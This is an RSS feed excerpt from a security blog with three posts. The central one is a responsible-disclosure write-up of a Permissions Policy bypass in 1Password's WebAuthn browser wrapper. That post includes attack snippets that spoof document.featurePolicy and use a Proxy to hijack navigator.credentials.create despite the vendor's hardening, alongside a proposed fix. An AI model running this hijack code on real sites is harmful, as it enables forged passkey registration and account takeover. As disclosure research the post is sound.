and during our implementation, testing and usage of DBSC, I&apos;ve not yet found anything that would be a concern from a privacy standpoint. The biggest solution to head off a problem is that the key pair used for DBSC is not persistent, each new DBSC session gets a new key pair. This means you can&apos;t even use DBSC to track a physical device across different sessions on the same website, let alone across different sites. There are also additional privacy considerations:</p><ul><li>Lifetime of a session/key material: This should provide no additional client data storage (i.e., a pseudo-cookie). As such, we require that browsers MUST clear sessions and keys when clearing other site data (like cookies).</li><li>Implementing this API should not meaningfully increase the entropy of heuristic device fingerprinting signals. In particular, DBSC should not leak any stable device identifiers.</li><li>As this API MAY allow background &quot;pings&quot; for performance, this must not enable long-term tracking of a user when they have navigated away from the connected site.</li><li>Each session has a separate new key created, and it should not be possible to detect that different sessions are from the same device.</li></ul><p></p><h3 id="client-support">Client Support</h3><p>As it stands right now, we have support for DBSC in Chrome on Windows (<a href="https://developer.chrome.com/blog/dbsc-windows-announcement)?ref=scotthelme.ghost.io" rel="noreferrer">announcement</a>), and it looks like we could get it soon on <a href="https://chromestatus.com/feature/5140168270413824?ref=scotthelme.ghost.io" rel="noreferrer">macOS too</a>, I&apos;d guess at some point in 2026. Microsoft have also done an origin trial in Edge so there are some good indications coming from them too, they&apos;ve merged their BPOP work in to DBSC. We&apos;re still waiting on a recent position from Mozilla, their last statements were made back in <a href="https://github.com/mozilla/standards-positions/issues/912?ref=scotthelme.ghost.io" rel="noreferrer">2023</a>. </p><p>The good news is that DBSC will gracefully fall back and have no impact on clients that don&apos;t support it, so we can deploy it now and protect a subset of our users that will only grow over time.</p><p></p><h3 id="sources">Sources</h3><p><a href="https://developer.chrome.com/docs/web-platform/device-bound-session-credentials?ref=scotthelme.ghost.io" rel="noreferrer">Device Bound Session Credentials (DBSC) | Chrome for Developers</a><br><a href="https://developer.chrome.com/blog/dbsc-windows-announcement?ref=scotthelme.ghost.io" rel="noreferrer">Device Bound Session Credentials now available on Windows | Chrome for Developers</a><br><a href="https://developer.chrome.com/blog/dbsc-origin-trial?ref=scotthelme.ghost.io" rel="noreferrer">Origin trial: Device Bound Session Credentials in Chrome | Chrome for Developers</a><br><a href="https://www.w3.org/TR/dbsc/?ref=scotthelme.ghost.io" rel="noreferrer">Device Bound Session Credentials (W3C draft spec)</a><br><a href="https://github.com/w3c/webappsec-dbsc?ref=scotthelme.ghost.io" rel="noreferrer">w3c/webappsec-dbsc spec repo</a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Passkeys, Permissions Policy and Bug Hunting in 1Password's WebAuthn Wrapper]]></title><description><![CDATA[<p>Passkeys are the best thing to happen to web authentication in years, but a passkey ceremony is only as secure as the stack enforcing it. The browser, the relying party, the authenticator, and any extension sitting between them all need to honour the same rules.</p><p>While investigating WebAuthn behaviour, I</p>]]></description><link>https://scotthelme.ghost.io/passkeys-permissions-policy-and-bug-hunting-in-1passwords-webauthn-wrapper/</link><guid isPermaLink="false">69fef61c9c3a0c0001b5ea06</guid><category><![CDATA[Passkeys]]></category><category><![CDATA[Permissions Policy]]></category><category><![CDATA[Content Security Policy]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Thu, 21 May 2026 14:40:02 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-pp-1pass.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-pp-1pass.png" alt="Passkeys, Permissions Policy and Bug Hunting in 1Password&apos;s WebAuthn Wrapper"><p>Passkeys are the best thing to happen to web authentication in years, but a passkey ceremony is only as secure as the stack enforcing it. The browser, the relying party, the authenticator, and any extension sitting between them all need to honour the same rules.</p><p>While investigating WebAuthn behaviour, I found that 1Password&#x2019;s browser extension could bypass one of those rules. A page could disable passkey creation and authentication with Permissions Policy, the browser would correctly block the native WebAuthn API, but 1Password&#x2019;s wrapper could still broker a working passkey ceremony.</p><p>This post walks through what I found, what a fix looks like, and why Content Security Policy and Permissions Policy remain useful defence-in-depth mechanisms when JavaScript goes rogue.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-4.png" class="kg-image" alt="Passkeys, Permissions Policy and Bug Hunting in 1Password&apos;s WebAuthn Wrapper" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-4.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="enter-the-password-manager">Enter the password manager</h3><p>Password managers that support passkeys often need to act as an authenticator, so they wrap <code>navigator.credentials.create</code> and <code>navigator.credentials.get</code> on the page. This is fine if the wrapper preserves every guarantee the native API gave you, and 1Password&apos;s browser extension implements its passkey support by sitting in front of the browser&apos;s native WebAuthn API.</p><p>When the 1Password content script loads, it replaces <code>navigator.credentials.create</code> and <code>navigator.credentials.get</code>, plus the three <code>PublicKeyCredential.*</code> capability-probe methods, with its own functions, so that when a site calls into WebAuthn, 1Password can offer to save or fill a passkey from the vault instead of &#x2014; or in addition to &#x2014; the platform authenticator.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/1password-logo-dark.svg" class="kg-image" alt="Passkeys, Permissions Policy and Bug Hunting in 1Password&apos;s WebAuthn Wrapper" loading="lazy" width="136" height="26"></figure><p></p><p>In the version I originally reported against (8.12.12.44), that replacement was done the simplest possible way: direct property assignment. The installer function just wrote the wrapper onto the live <code>navigator.credentials</code> object, and a second function re-applied it on a 100ms timer so that if anything clobbered it, 1Password would quietly put it back:</p><pre><code class="language-js">var E = () =&gt; {
        window.navigator.credentials.create = B;   // B = the create wrapper
        window.navigator.credentials.get = G;      // G = the get wrapper
        window.PublicKeyCredential.isConditionalMediationAvailable = J;
        window.PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable = j;
        window.PublicKeyCredential.getClientCapabilities = V;
    };
    function L() {
        window.navigator.credentials &amp;&amp; (p(), E(), setInterval($, 100));
    }</code></pre><p></p><p>The wrapper these functions installed (<code>B</code> for create) was the minified one-liner that became the centrepiece of my disclosure. It checks <code>publicKey.hints</code>, then routes either to 1Password&apos;s own implementation <code>W(e)</code> or to the saved native call <code>u.credentials.create(e)</code>:</p><pre><code class="language-js">async function B(e) {
        return await p(e?.publicKey?.hints) ? W(e) : u.credentials.create(e);
    }</code></pre><p></p><p>Two properties of this design matter for an attack. First, the wrapper never consults the document&apos;s Permissions-Policy, so a page that sends <code>Permissions-Policy: publickey-credentials-create=()</code>, which makes the native API reject, still gets a fully functional 1Password ceremony, because the extension&apos;s code runs in front of the native enforcement and simply doesn&apos;t replicate it. Second, the underlying main-world &#x21C4; content-script message bus that the wrapper uses to talk to the rest of the extension has no per-page authentication: its <code>validateMessage</code> routine only checks that structural fields are present and well-typed:</p><pre><code class="language-js">return h(n.msgId) ? h(n.source) ? h(n.name)
        ? (/* type must be one of the op-window-* values */) ? !0 : !1
        : !1 : !1 : !1;</code></pre><p></p><p>No nonce, no shared secret, and no signed envelope. And because <code>navigator.credentials.create</code> was a plain writable data property, page JavaScript could overwrite it outright. That is exactly what a supply-chain or stored-XSS payload can do: replace the function, let the user complete a genuine biometric prompt, then substitute an attacker-generated keypair before the credential reaches the server. The website gets the attacker&apos;s passkey, and 1Password stores a different one. </p><p></p><p>1Password closed my issues as Informative and their reasoning makes a lot of sense. Everything I&apos;d shown requires an attacker to have JavaScript executing in the RP&apos;s main world, with an XSS vulnerability or JavaScript supply-chain compromise being the most likely candidates. </p><ol><li>I covered the account-takeover vector in my previous post <a href="https://scotthelme.co.uk/xss-is-deadly-for-passkeys-the-hidden-risk-of-attestation-none?ref=scotthelme.ghost.io" rel="noreferrer">XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None</a>, and it could be carried out by any attacker with XSS on an RP that accepts <code>attestation: &quot;none&quot;</code>. It&apos;s fair to state that this is not a 1Password vulnerability.</li><li>Establishing a secret between an isolated-world content script and a main-world stub, through a channel co-resident main-world JS provably cannot reach, is a genuinely hard problem and drawing a threat boundary here is also fair to do.</li><li>I agree with drawing a threat boundary around generic XSS-driven account takeover, but I still think the Permissions Policy bypass is different. The site explicitly removed WebAuthn capability from the page, the browser honoured that decision, and the extension handed that capability back.</li></ol><p></p><h3 id="fixing-the-permissions-policy-bypass">Fixing the Permissions Policy Bypass</h3><p>Sites that load third-party code like analytics, tag managers, chat widgets, CDN dependencies and more, can send the following header.</p><p><code>Permissions-Policy: publickey-credentials-create=(), publickey-credentials-get=()</code></p><p></p><p>This will deliberately strip WebAuthn capabilities from those pages, and those capabilities can then be enabled only on pages that the site expects to use them, like their hardened <code>/login</code> or <code>/account/security</code> endpoints. It&apos;s a browser-enforced control that the call rejects with <code>NotAllowedError</code> before any UI appears. The 1Password wrapper silently bypasses this. Its <code>navigator.credentials.create</code> and <code>navigator.credentials.get</code> wrappers run in the page&apos;s main world and never check the document&apos;s Permissions-Policy, so the capability the website deliberately withdrew is handed straight back, <em>but only when the 1Password extension is installed</em>. The site did everything right, the browser enforced it correctly, and a trusted extension, not the attacker, reopened the door for the compromised script to drive a passkey ceremony the page expressly forbade.</p><p>To solve this issue, my first instinct was to bolt the check onto the wrapper, which is exactly what I proposed in my report, but that idea doesn&apos;t stand up to much scrutiny.</p><pre><code class="language-js">async function B(e) {
        const pp = document.permissionsPolicy || document.featurePolicy;
        if (pp &amp;&amp; !pp.allowsFeature(&apos;publickey-credentials-create&apos;)) {
            throw new DOMException(
                &apos;The operation is not allowed by the document Permissions Policy.&apos;,
                &apos;NotAllowedError&apos;
            );
        }
        return await p(e?.publicKey?.hints) ? W(e) : u.credentials.create(e);
    }</code></pre><p></p><p>Against an unsophisticated payload this could well work, but ultimately it&apos;s a security decision being made in the wrong place. 1Password&apos;s <code>B</code>/<code>W</code> wrappers run in the page&apos;s main world, which is the entire reason the page can see a replaced <code>navigator.credentials.create</code>, which means the value the guard reads is attacker-reachable:</p><pre><code class="language-js">// attacker, page main world
    Object.defineProperty(document, &apos;featurePolicy&apos;, {
        get: () =&gt; ({ allowsFeature: () =&gt; true })
    });</code></pre><p></p><p>Now <code>pp.allowsFeature(...)</code> returns <code>true</code>, the guard falls through, and the ceremony proceeds on a page whose real policy forbids it. A check is only as trustworthy as the context it executes in, and the main world is, by construction, the context the attacker controls. This is the same reason a per-page bridge token stashed in main-world JS doesn&apos;t hold, and it&apos;s why 1Password&apos;s &quot;your mitigation lives with the attacker&quot; was a fair objection to my suggestion. </p><p>The fix is to move the decision out of the main world and into the extension&apos;s isolated world, the content script. A content script shares the page&apos;s DOM but has a separate JavaScript heap that page script cannot read or patch, and its <code>document.featurePolicy</code> resolves to the genuine, browser-computed policy for that frame, including the <code>=()</code>, <code>=(self)</code>, and cross-origin-iframe cases. Page JS cannot make the isolated world&apos;s view lie. So the gate belongs on the bridge handler that brokers the ceremony, before anything is forwarded to the background or native helper:</p><pre><code class="language-js">const PP_FEATURE = {
        &apos;create-credential&apos;: &apos;publickey-credentials-create&apos;,
        &apos;get-credential&apos;:    &apos;publickey-credentials-get&apos;,
    };
    
    function permissionsPolicyAllows(routeName) {
        const feature = PP_FEATURE[routeName];
        if (!feature) return true; // not a WebAuthn route
        const pp = document.permissionsPolicy || document.featurePolicy;
        // No policy object &#x2192; treat as allowed (legacy/unsupported); a present
        // policy is authoritative and cannot be patched from the main world.
        return !pp || pp.allowsFeature(feature);
    }
    
    // Wherever the content script receives a brokered WebAuthn request from the
    // bridge, refuse it here &#x2014; fail closed &#x2014; before any message reaches the
    // background service worker or the native app.
    function handleBridgeRequest(msg) {
        if (!permissionsPolicyAllows(msg.name)) {
            return respond(msg, {
                type: &apos;create-credential-error&apos;,
                data: { reason: &apos;permissions-policy-denied&apos; },
            });
        }
        return forwardToBackground(msg);
    }</code></pre><p></p><p>The extension can read the true Permissions Policy because the isolated world observes the same page the attacker is in but cannot be entered or tampered with from the page&apos;s main world; the native ceremony is brokered further still, through the background service worker and the native app over native messaging, none of which page script can reach. Enforced here and failing closed, every route from my reports is closed at once: calling the native API directly still hits the browser&apos;s own rejection; spoofing <code>document.featurePolicy</code> only fools the main world, not the isolated-world gate; and forging bridge messages to disable interception just falls through to the native API, which also rejects. Critically, this is the same architectural move required to authenticate the bridge, stop trusting the main world for security decisions and make the content script the authority.</p><p>To be crystal clear: this control doesn&apos;t stop a compromised script from registering a passkey directly with an RP that accepts <code>attestation: &quot;none&quot;</code>, nothing on the client can do that (see my <a href="https://scotthelme.co.uk/xss-is-deadly-for-passkeys-the-hidden-risk-of-attestation-none/?ref=scotthelme.ghost.io" rel="noreferrer">previous blog post</a>). An attacker with page script can always synthesise a <code>fmt:&quot;none&quot;</code> credential in JavaScript and POST it straight to the RP&apos;s enrolment endpoint. What <code>publickey-credentials-create=()</code> removes is the page&apos;s ability to invoke a genuine <code>navigator.credentials.create()</code> ceremony, a real prompt, a real authenticator, a real attestation, so the only thing it can still produce is an unattested forgery the RP  is free to reject. 1Password&apos;s extension bypass hands back to the malicious script exactly the legitimate-looking ceremony the policy was meant to deny.</p><p>The same distinction matters for login, not just registration. The worse problem is an escalation wherever the script does not already have the user&apos;s authenticated session for that origin: any logged-out page, a pre-auth surface, or the kind of third-party-heavy page a site deliberately locks down with <code>publickey-credentials-get=()</code> precisely because it loads code it doesn&apos;t fully trust. A compromised analytics or tag-manager script on such a page cannot ride a session that does not exist, and the platform guarantee is that it cannot invoke a credential ceremony either. That guarantee is the entire point of the policy. 1Password&apos;s bypass removes it, handing that malicious script a genuine, user-approvable login ceremony whose assertion it can rely straight back to the RP. The only case where this doesn&apos;t matter is a script already running inside the authenticated app, where there&apos;s a live session to abuse regardless &#x2014; and that is not the scenario this policy exists to defend. </p><p></p><h3 id="an-extension-update-shortly-after-my-report">An Extension Update Shortly After My Report</h3><p>Shortly after my report, 1Password released an extension update (8.12.20.10). After installing the update, I noticed that one of the PoCs I&apos;d created had stopped working. They seemed to have changed something, so I dug in.</p><p>After diffing the two builds of the extension, the vast majority of the changes were cosmetic, but a change to <code>webauthn-listeners.js</code> caught my eye. The change was not in what the 1Password wrappers did, but in how they were installed. The plain assignment and the <code>setInterval</code> polling loop were gone, and in their place, each method is defined as a non-configurable accessor property whose getter always returns 1Password&apos;s wrapper and whose setter is a no-op that merely logs a warning:</p><pre><code class="language-js">Object.defineProperty(parentRef, methodName, {
        configurable: false,
        enumerable: true,
        get() { return newMethod; }, // always returns 1P&apos;s wrapper
        set() {
            console.warn(`Cannot overwrite ${loggableLabel} method while 1Password is enabled`);
        }
    });</code></pre><p></p><p>I jumped to the console on the PoC page and I could indeed see the new console warning:</p><pre><code>Cannot overwrite navigator.credentials.create method while 1Password is enabled</code></pre><p></p><p>The behavioural change is subtle, but important. Previously, <code>navigator.credentials.create = evil</code> worked, at least until the next polling tick re-applied 1Password&apos;s version. In the newer build the same statement neither throws nor takes effect: the assignment hits a no-op setter, is silently swallowed, and the console shows the warning above. The property is now a non-configurable accessor, so page script can no longer replace or shadow the injected WebAuthn shim.</p><p>This landed shortly after my report, so I asked 1Password directly whether the two were connected. They said they were not: the change came from a separate, pre-existing hardening track aimed at a different surface (session-delegation <code>CustomEvents</code> in another content script), as part of rolling a non-configurable-accessor pattern broadly across the extension&apos;s main-world stubs as defence-in-depth, the WebAuthn wrapper being one of several, in the same build. Internal motivation isn&apos;t something I can verify from outside, and timing alone doesn&apos;t establish it, so I&apos;ll happily take that at face value.</p><p>The interesting part doesn&apos;t depend on the motivation, though. Whichever track it came from, the extension is now applying tamper-resistance to precisely the surface in question; page-side replacement of the WebAuthn API by attacker-controlled JavaScript in the RP&apos;s main world. Something that 1Password&apos;s own threat model treats as out of scope. They are hardening, as routine hygiene, a path they simultaneously decline to treat as a vulnerability. That tension is the point, and it stands whether or not my report had anything to do with the change.</p><p>It&apos;s also worth being precise about what this change is and isn&apos;t. Making the accessor non-configurable protects the integrity of the wrapper so page script can&apos;t clobber it. It does nothing about whether the wrapper, once invoked, honours Permissions Policy. Those are independent: a tamper-proof shim that still ignores <code>publickey-credentials-get=()</code> / <code>publickey-credentials-create=()</code> is exactly as policy-blind as it was before. This hardening does not touch the Permissions Policy override described earlier, and 1Password&apos;s response commits to no fix for that, so it remains.</p><p></p><h3 id="updating-the-poc-to-work-again">Updating the PoC to Work Again</h3><p>Our &quot;Gesture-Preserving Forgery&quot; demo (<a href="https://report-uri-demo.com/passkeys/2/?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys Demo 2</a>) ships an attacker payload that hooks <code>navigator.credentials.create</code>, lets the user complete a real ceremony, then swaps in a JavaScript-generated keypair before the page POSTs the credential to <code>/register/finish</code>. The password manager stores a passkey, but it&apos;s the wrong one. The passkey registered with the service was one controlled by the attacker.</p><p>The malicious payload on that demo page installed its hook the classic way:</p><pre><code class="language-js">navigator.credentials.create = async function (opts) { /* &#x2026; forge &#x2026; */ };</code></pre><p></p><p>On the new version of the extension, that&apos;s exactly what the newly introduced setter swallows. The malicious hook is never installed, the console shows me the new warning, and the demo no longer works. The fix only took a little wrangling after I noticed that the new lock protects the leaf <code>get</code>/<code>create</code> properties and not the path to get there, <code>navigator.credentials</code> itself. The first attempt has been kept as direct assignment to <code>create</code>, but if that doesn&apos;t take, we fall back to replacing <code>navigator.credentials</code> with a <code>Proxy</code> and returning our own hook for <code>create</code> whilst transparently passing everything else through. </p><pre><code class="language-js">let installed = false;
    try {
        navigator.credentials.create = hijackCreate;
        installed = navigator.credentials.create === hijackCreate;
    } catch (e) { /* non-configurable property with a throwing setter */ }
    
    if (!installed) {
        // 1Password locked the `create` property &#x2014; but not the container.
        const fakeContainer = new Proxy(realContainer, {
            get(target, prop) {
                if (prop === &apos;create&apos;) return hijackCreate;
                const value = Reflect.get(target, prop, target);
                return typeof value === &apos;function&apos; ? value.bind(target) : value;
            },
        });
        const shadow = { configurable: true, enumerable: true, get() { return fakeContainer; } };
        try {
            Object.defineProperty(Navigator.prototype, &apos;credentials&apos;, shadow);
            installed = navigator.credentials === fakeContainer;
        } catch (e) { /* try the instance next */ }
        if (!installed) {
            try {
                Object.defineProperty(navigator, &apos;credentials&apos;, shadow);
                installed = navigator.credentials === fakeContainer;
            } catch (e) { /* give up */ }
        }
    }</code></pre><p></p><p>1Password&apos;s patch stops the property swap but not the underlying forgery, because a non-configurable accessor on <code>navigator.credentials.create</code> only protects that one leaf, leaving the path to it (<code>navigator.credentials</code>, <code>Navigator.prototype.credentials</code>,<code> window.PublicKeyCredential</code>) fully attacker-controllable. For now, that brings <a href="https://report-uri-demo.com/passkeys/2/?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys Demo 2</a> back to life, and I&apos;d be interested to hear about the behaviour you see on this page in the presence of other browser extensions or other software you might have installed that could interact with the WebAuthn process. Drop your comments down below!</p><p></p><h3 id="permissions-policy-and-content-security-policy">Permissions Policy and Content Security Policy</h3><p><a href="https://report-uri.com/products/permissions_policy?ref=scotthelme.ghost.io" rel="noreferrer">Permissions Policy</a> and <a href="https://report-uri.com/products/content_security_policy?ref=scotthelme.ghost.io" rel="noreferrer">Content Security Policy</a> are both defence-in-depth security measures, you get to declare what a page is allowed to do, which capabilities exist, which origins may run script, and the browser enforces it before anything else happens. </p><p>Crucially, both of these headers can also send telemetry when something happens that isn&apos;t supposed to happen. Report URI collects those telemetry events at scale and turns them into something you can act on. The third-party script that suddenly tried to reach a capability it shouldn&apos;t, the CDN dependency that started pulling resources from a new origin, the moment your own policy began doing real work. That visibility is the whole point.</p><p>The ultimate solution to the problems raised in this post is &quot;duh, don&apos;t get XSS in the first place&quot;, but I bet that&apos;s already everyone&apos;s goal. Despite that, XSS was the Top Threat of <a href="https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2024-by-mitre-and-cisa/?ref=scotthelme.ghost.io" rel="noreferrer">2024</a>, <a href="https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2025-by-mitre-and-cisa/?ref=scotthelme.ghost.io" rel="noreferrer">2025</a>, and it&apos;s already pulling out ahead of everything else in 2026. Just last week it was <a href="https://www.bleepingcomputer.com/news/security/instructure-confirms-hackers-used-canvas-flaw-to-deface-portals/?ref=scotthelme.ghost.io" rel="noreferrer">revealed</a> that the Instructure / Canvas breach began with multiple XSS vulnerabilities that allowed session hijacking of admin accounts. They&apos;ve since &#x201C;reached an agreement&#x201D; with the threat actor, which may have involved paying a hefty ransom. CSP is easier to start with than many people expect. You do not need a perfect policy on day one; even report-only mode can start giving you useful telemetry about what code is running in the browser. You can refer to our dedicated <a href="https://report-uri.com/solutions/passkeys_protection?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys solutions page</a> for more info.</p><p></p><h3 id="disclosure-and-closing">Disclosure and Closing</h3><p>Passkeys are still a better option and the right answer to many problems. This blog post shouldn&apos;t discourage anyone from using them. The ecosystem around passkeys is still young, passkeys have definitely not had as long to mature as passwords have!</p><p>Reported to 1Password on 8th May 2026<br>Issue closed by 1Password on 14th May 2026<br>Extension v8.12.20.10 build date 14th May 2026<br>Extension v8.12.20.10 <a href="https://chromewebstore.google.com/detail/1password-%E2%80%93-password-mana/aeblfdkhhhdcdjpifhhbdiojplfjncoa?hl=en&amp;ref=scotthelme.ghost.io" rel="noreferrer">release date</a> 15th May 2026<br>Bridge Spoof PoC (same-origin script): <a href="https://report-uri-demo.com/passkeys/5/?ref=scotthelme.ghost.io" rel="noreferrer">link</a><br>Bridge Spoof PoC (third-party script): <a href="https://report-uri-demo.com/passkeys/6/?ref=scotthelme.ghost.io" rel="noreferrer">link</a><br>Wrapper override PoC: <a href="https://report-uri-demo.com/passkeys/3/?protected&amp;ref=scotthelme.ghost.io" rel="noreferrer">link</a><br></p><p></p><p></p>
    <!--kg-card-begin: html-->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/themes/prism-okaidia.min.css" integrity="sha512-mIs9kKbaw6JZFfSuo+MovjU+Ntggfoj8RwAmJbVXQ5mkAX5LlgETQEweFPI18humSPHymTb5iikEOKWF7I8ncQ==" crossorigin="anonymous" referrerpolicy="no-referrer">
    <style>
      pre[class*="language-"] {
          font-size: 0.75em;
      }
    </style>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/prism.min.js" integrity="sha512-HiD3V4nv8fcjtouznjT9TqDNDm1EXngV331YGbfVGeKUoH+OLkRTCMzA34ecjlgSQZpdHZupdSrqHY+Hz3l6uQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.30.0/components/prism-javascript.min.js" integrity="sha512-jwrwRWZWW9J6bjmBOJxPcbRvEBSQeY4Ad0NEXSfP0vwYi/Yu9x5VhDBl3wz6Pnxs8Rx/t1P8r9/OHCRciHcT7Q==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <!--kg-card-end: html-->
    ]]></content:encoded></item><item><title><![CDATA[Open-Sourcing passkeys-php: A Security-Focused WebAuthn Library for PHP]]></title><description><![CDATA[<p>We&apos;ve open-sourced <a href="https://github.com/report-uri/passkeys-php?ref=scotthelme.ghost.io" rel="noreferrer">passkeys-php</a>, the WebAuthn server library we use at Report URI to protect logins with passkeys, security keys, and platform authenticators like Touch ID, Face ID, and Windows Hello.</p><p>It started as a set of local security fixes for our own production passkeys implementation. Now,</p>]]></description><link>https://scotthelme.ghost.io/open-sourcing-passkeys-php-a-security-focused-webauthn-library-for-php/</link><guid isPermaLink="false">6a09db9d197769000166677a</guid><category><![CDATA[Report URI]]></category><category><![CDATA[Passkeys]]></category><category><![CDATA[PHP]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Wed, 20 May 2026 12:16:58 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-php.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-php.png" alt="Open-Sourcing passkeys-php: A Security-Focused WebAuthn Library for PHP"><p>We&apos;ve open-sourced <a href="https://github.com/report-uri/passkeys-php?ref=scotthelme.ghost.io" rel="noreferrer">passkeys-php</a>, the WebAuthn server library we use at Report URI to protect logins with passkeys, security keys, and platform authenticators like Touch ID, Face ID, and Windows Hello.</p><p>It started as a set of local security fixes for our own production passkeys implementation. Now, rather than carrying those patches privately, we&#x2019;re releasing them as a small, auditable, MIT-licensed PHP library for everyone else building normal passkey login flows.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-3.png" class="kg-image" alt="Open-Sourcing passkeys-php: A Security-Focused WebAuthn Library for PHP" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-3.png 800w" sizes="(min-width: 720px) 720px"></figure><p></p><p>To get started: <code>composer require report-uri/passkeys-php</code><br>Packagist: <a href="https://packagist.org/packages/report-uri/passkeys-php?ref=scotthelme.ghost.io">https://packagist.org/packages/report-uri/passkeys-php</a></p><p></p><h3 id="why-we-built-it">Why We Built It</h3><p>Our <code>passkeys-php</code> is a maintained fork of the excellent <a href="https://github.com/lbuchs/WebAuthn?ref=scotthelme.ghost.io" rel="noreferrer">lbuchs/WebAuthn</a>, forked at upstream v2.2.0. We wanted to preserve what made that library appealing: it was small, lightweight, and understandable enough that you could actually read the code guarding your logins.</p><p>The catch was that the upstream is effectively dormant. When we had Report URI&apos;s passkeys integration <a href="https://scotthelme.co.uk/bringing-in-the-experts-having-our-passkeys-implementation-security-tested/?ref=scotthelme.ghost.io" rel="noreferrer">penetration tested</a>, the assessment surfaced several WebAuthn conformance issues. We <a href="https://github.com/lbuchs/WebAuthn/issues?q=is%3Apr+is%3Aopen+author%3AScottHelme&amp;ref=scotthelme.ghost.io" rel="noreferrer">wrote fixes and submitted them as PRs</a> upstream, but they haven&apos;t been merged. Rather than carry a stack of local patches indefinitely &#x2014; and leave everyone else on the same library exposed &#x2014; we&apos;re shipping the fixes inline and in the open.</p><p></p><h3 id="what-we-fixed">What We Fixed</h3><p>Each fix is its own commit on <code>main</code> so you can audit exactly what changed and why if you&apos;d like, but the summary is below. These were not cosmetic changes; they were the kinds of edge cases that matter when a library is responsible for deciding whether an authentication ceremony is valid.</p><p></p><ul><li>Tighter origin check. The previous RP-ID match treated the RP ID as a substring suffix, so <code>example.com</code> would match the host <code>evil-example.com</code>. It<br>now requires an exact match or a true subdomain.</li><li>Cross-origin rejection. Registration and authentication now reject ceremonies where <code>clientDataJSON.crossOrigin === true</code>, per WebAuthn Level&#xA0;3.</li><li>Attestation none hardening. The <code>none</code> attestation statement must be an empty CBOR map, per WebAuthn &#xA7;8.7. Non-empty maps are now rejected.</li><li>Backup flag validation. Authenticator data with the Backup State bit set but Backup Eligible unset is now rejected, per spec.</li><li>Token Binding rejection. Ceremonies asserting Token Binding are rejected, since the library doesn&apos;t implement it.</li></ul><p></p><h3 id="we-deleted-attestation">We Deleted Attestation</h3><p>The headline change is that attestation verification is gone entirely; the library now supports only the <code>none</code> attestation format. Our penetration test and our own internal security reviews showed that serious risk was concentrated almost entirely in attestation-statement handling &#x2014; the TPM, Packed, U2F, Android Key, Android SafetyNet and Apple formats, plus the FIDO Metadata Service plumbing and root-CA trust set. That code path is also the part of WebAuthn that our typical users don&apos;t use: browsers and platform authenticators issue attestation: &quot;none&quot; by default, and demanding attestation actively harms passkey UX and privacy.</p><p>So we removed it &#x2014; over 1,100 lines of it. Now, <code>getCreateArgs()</code> always requests <code>attestation: &quot;none&quot;</code> (which the spec requires the client to honour by stripping the statement, whatever authenticator the user holds), and only <code>fmt: &quot;none&quot;</code> with an empty <code>attStmt</code> is accepted. The library is now positioned for the common case: SaaS-style passkey auth where the relying party only needs to know the user controls a credential bound to the RP &#x2014; not which authenticator produced it. If you genuinely need enterprise attestation with a managed CA set, this isn&apos;t the library for you, and we think that&apos;s the right trade: a large, dangerous, rarely-exercised attack surface deleted instead of subtly-broken verifiers shipped to people who wouldn&apos;t enable them anyway.</p><p></p><h3 id="getting-started">Getting Started</h3><p>The library autoloads under PSR-4 as <code>ReportUri\Passkeys</code>, with the main entry point aligned with the spec name:</p><p></p><pre><code class="language-php">use ReportUri\Passkeys\WebAuthn;
